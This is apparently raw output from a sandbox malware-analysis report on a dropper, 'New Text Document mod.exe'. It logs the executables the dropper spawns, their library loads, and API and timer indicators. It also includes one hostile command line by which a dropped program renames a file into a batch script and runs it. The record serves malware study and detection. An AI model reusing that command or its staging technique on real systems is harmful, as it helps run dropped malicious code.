"")48:T714,"NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\02.08.2022.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\cooking.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\TLauncher-Installer-1.9.4.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\lJ5IwxN.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\elf.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\sys.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\sup.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\tmp.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\crypted_guardfile.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\random.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\rabert.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\docx.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\window.exe"" - (UID: 00000000-00002000) "cooking.exe" called "CreateProcessA" with parameter "attrib.exe" - (UID: 00000000-00005036) "cooking.exe" called "CreateProcessA" with parameter "cmd /c move Pet.wms Pet.wms.bat && Pet.wms.bat" - (UID: 00000000-00005036) "crypted_guardfile.exe" called "CreateProcessA" with parameter "%TEMP%\tmpFB41.tmp" - (UID: 00000000-00008220)49:T4ff3,"NewTextDocumentmod.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\46c2f46666e40896049aed7e4ed25573\Microsoft.VisualBasic.ni.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002000) "cooking.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005036) "cooking.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005036) "cooking.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005036) "cooking.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005036) "cooking.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005036) "cooking.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00005036) "cooking.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005036) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007356) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007356) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007356) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007356) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\dwmapi.dll (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ntmarta.dll (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Secur32.dll (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Advapi32.dll (UID: 00000000-00001088) "TLauncher-Installer-1.9.4.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00001088) "lJ5IwxN.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00008516) "lJ5IwxN.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00008516) "irsetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter COMCTL32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter COMDLG32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter IMM32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter lua5.3.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter MSIMG32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter NETAPI32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter OLEACC.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter WINMM.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter WINSPOOL.DRV (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter GdiPlus.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\dwmapi.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\oledlg.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter %TEMP%\_ir_sf_temp_0\Wow64ENU.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter %TEMP%\_ir_sf_temp_0\Wow64LOC.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter %TEMP%\_ir_sf_temp_0\Wow64.lmd (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter %TEMP%\_ir_sf_temp_0\IRZipENU.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter %TEMP%\_ir_sf_temp_0\IRZipLOC.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter %TEMP%\_ir_sf_temp_0\IRZip.lmd (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00005524) "irsetup.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00005524) "elf.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004944) "elf.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004944) "sys.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005840) "sys.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005840) "sup.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008492) "sup.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008492) "tmp.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002136) "tmp.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002136) "tmp.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002136) "tmp.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002136) "tmp.exe" called "LoadLibrary" with a parameter ws2_32 (UID: 00000000-00002136) "crypted_guardfile.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008220) "crypted_guardfile.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008220) "crypted_guardfile.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008220) "crypted_guardfile.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008220) "crypted_guardfile.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00008220) "crypted_guardfile.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00008220) "random.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000968) "random.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000968) "random.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000968) "random.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000968) "random.exe" called "LoadLibrary" with a parameter msftedit (UID: 00000000-00000968) "random.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00000968) "tmpFB41.tmp" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001624) "tmpFB41.tmp" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001624) "tmpFB41.tmp" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001624) "tmpFB41.tmp" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001624)4a:T48d,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "New Text Document mod.exe") Found reference to API "CreateProcessAsUserW" (Indicator: "CreateProcess"; File: "New Text Document mod.exe") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; File: "New Text Document mod.exe") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001088.00000000.271453.01590000.00000004.mdmp, 00000000-00001088.00000000.271453.01630000.00000004.mdmp, 00000000-00001088.00000000.271453.03A00000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found reference to API "LAYER=ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found reference to API "ateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")4b:T68e,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "New Text Document mod.exe") Found reference to API "CreateFileTransactedW" (Indicator: "CreateFile"; File: "00000000-00001088.00000000.271453.00D51000.00000020.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "New Text Document mod.exe") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "New Text Document mod.exe") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "CreateFileTransactedW" (Indicator: "CreateFile"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")4c:T557,Sleep@KERNEL32.DLL at 00000000-00001088-23227-46-00E49200 Sleep@KERNEL32.DLL at 00000000-00001088-23227-50-00E49245 Sleep@KERNEL32.DLL at 00000000-00001088-23227-107-00D51038 Sleep@KERNEL32.DLL at 00000000-00001088-23227-110-00D525FD MsgWaitForMultipleObjects at 00000000-00001088-23227-111-00D52158 WaitForSingleObject@KERNEL32.DLL at 00000000-00001088-23227-1008-00D60591 Sleep@KERNEL32.DLL at 00000000-00001088-23227-1161-00E492DF Sleep@KERNEL32.DLL at 00000000-00001088-23227-1211-00E49291 SetTimer at 00000000-00001088-23227-1814-00DB7CD9 SetTimer at 00000000-00001088-23227-2133-00D72F1F SetTimer at 00000000-00001088-23227-2141-00DE284E SetTimer at 00000000-00001088-23227-2529-00D820BE SetTimer at 00000000-00001088-23227-2587-00D84767 SetTimer at 00000000-00001088-23227-2943-00D9A885 SetTimer at 00000000-00001088-23227-3256-00DA18CB SetTimer at 00000000-00001088-23227-3364-00DA5EF0 SetTimer at 00000000-00001088-23227-3733-00DB9D06 SetTimer at 00000000-00001088-23227-3935-00DC36FB SetTimer at 00000000-00001088-23227-3943-00DC3919 SetTimer at 00000000-00001088-23227-3948-00DC3E7A SetTimer at 00000000-00001088-23227-4028-00DEA35C SetTimer at 00000000-00001088-23227-4186-00DD6E6F SetTimer at 00000000-00001088-23227-4548-00DE9DC2 SetTimer at 00000000-00001088-23227-4607-00DECAC7 SetTimer at 00000000-00001088-23227-4615-00DECDD54d:T4bf,Found GetProcAddress() and LoadLibraryA() in an import section (Source: MSTeams.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: GL0ygTD.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 0rXld4E.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: rabert.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: multifunctionalbackup294.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 8RsL970.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: Setup.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: fz0oKy4.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: irsetup.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: random.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: cooking.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: fzCgCtE.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: 06bK6nU.exe) Found GetProcAddress() and LoadLibraryA() in an import section (Source: HCBSXXl.exe)4e:T639,Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; File: "New Text Document mod.exe") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; File: "New Text Document mod.exe") Found reference to API "WinExec" (Indicator: "WinExec"; File: "New Text Document mod.exe") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; File: "New Text Document mod.exe") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; File: "New Text Document mod.exe") Found reference to API "WinExec" (Indicator: "WinExec"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "ShellExecuteExA" (Indicator: "ShellExecute"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "yncShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00000968.00000000.272733.007E5000.00000004.mdmp") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "yncShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found reference to API "yncShellExecute" (Indicator: "ShellExecute"; Source: 